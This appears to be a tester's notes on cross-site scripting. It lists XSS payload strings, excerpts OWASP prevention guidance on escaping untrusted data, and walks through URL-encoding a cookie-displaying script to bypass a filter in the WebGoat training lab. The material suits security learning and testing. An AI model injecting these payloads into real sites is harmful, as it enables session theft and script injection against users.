XSS notes from testing
‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
Malformed IMG tags. Originally found by Begeek (but cleaned up and shortened to work in all browsers), this XSS vector uses the relaxed rendering engine to create our XSS vector within an IMG tag that should be encapsulated within quotes. I assume this was originally meant to correct sloppy coding. This would make it significantly more difficult to correctly parse apart an HTML tag:
dl<IMG “””><SCRIPT>alert(“Test for XSS”)</SCRIPT>”>
XSS popup
<IMG “””><SCRIPT>alert(“Test for XSS”)</SCRIPT>”>
‘;alert(String.fromCharCode(88,83,83))//\’;alert(String.fromCharCode(88,83,83))//”;alert(String.fromCharCode(88,83,83))//\”;alert(String.fromCharCode(88,83,83))//–></SCRIPT>”>’><SCRIPT>alert(String.fromCharCode(88,83,83))</SCRIPT>
<script>alert(test!)</script>
<SCRIPT>alert(“Test for XSS”)</SCRIPT>
Performing this simple test verifies two important things. First, the contents of the message (XSS test!) can be replaced with arbitrary data that gets returned from the web server to the clients browser. Second, whatever processing the server-side application is performing on data (if any?), it is insufficient to prevent us from injecting JavaScript code that is executable.
Guide to fix
https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet#Untrusted_Data
Untrusted Data
Untrusted data is most often data that comes from the HTTP request, in the form of URL parameters, form fields, headers, or cookies. But data that comes from databases, web services, and other sources is frequently untrusted from a security perspective. That is, untrusted data is input that can be manipulated to contain a web attack payload. The OWASP Code Review Guide has a decent list of methods that return untrusted data in various languages, but you should be careful about your own methods as well.
Untrusted data should always be treated as though it contains an attack. That means you should not send it anywhere without taking steps to make sure that any attacks are detected and neutralized. As applications get more and more interconnected, the likelihood of a buried attack being decoded or executed by a downstream interpreter increases rapidly.
Traditionally, input validation has been the preferred approach for handling untrusted data. However, input validation is not a great solution for injection attacks. First, input validation is typically done when the data is received, before the destination is known. That means that we don’t know which characters might be significant in the target interpreter. Second, and possibly even more importantly, applications must allow potentially harmful characters in. For example, should poor Mr. O’Malley be prevented from registering in the database simply because SQL considers ‘ a special character?
While input validation is important and should always be performed, it is not a complete solution for injection attacks. It’s better to think of input validation as defense in depth and use escaping as described below as the primary defense.
Escaping (aka Output Encoding)
“Escaping” is a technique used to ensure that characters are treated as data, not as characters that are relevant to the interpreter’s parser. There are lots of different types of escaping, sometimes confusingly called output “encoding.” Some of these techniques define a special “escape” character, and other techniques have a more sophisticated syntax that involves several characters.
Do not confuse output escaping with the notion of Unicode character encoding, which involves mapping a Unicode character to a sequence of bits. This level of encoding is automatically decoded, and does not defuse attacks. However, if there are misunderstandings about the intended charset between the server and browser, it may cause unintended characters to be communicated, possibly enabling XSS attacks. This is why it is still important to specify the Unicode character encoding (charset), such as UTF-8, for all communications.
Escaping is the primary means to make sure that untrusted data can’t be used to convey an injection attack. There is no harm in escaping data properly – it will still render in the browser properly. Escaping simply lets the interpreter know that the data is not intended to be executed, and therefore prevents attacks from working.
-------------------------------------------------
OWASP WebGoat – page http://IP-Address:8080/WebGoat/attack?Screen=74&menu=1200
The user name box is vulnerable to encoded XSS<SCRIPT>alert("Your session has been lifted: " + document.cookie);</SCRIPT>
If you drop this script into User Name and press login it will fail.
To encode go to online site http://yehg.net/encoding/
On yehg site place alert(“Your session has been lifted: ” + document.cookie); into the large middle box and press encodeURLComponent
This will encode the XSS to this
%3Cscript%3Ealert(%22Your%20session%20has%20been%20lifted%3A%20%22%20%2B%20document.cookie)%3B%3C%2Fscript%3E
And once you place this encoded script into the User Name: and press Login you should get a popup saying
Your session has been lifted: JSESSIONID=E2D4BF79EEC0E46B432151015074BAC5; _session_id=c27142b7d832a29c122343f4ce76acd82b1c
myexploit 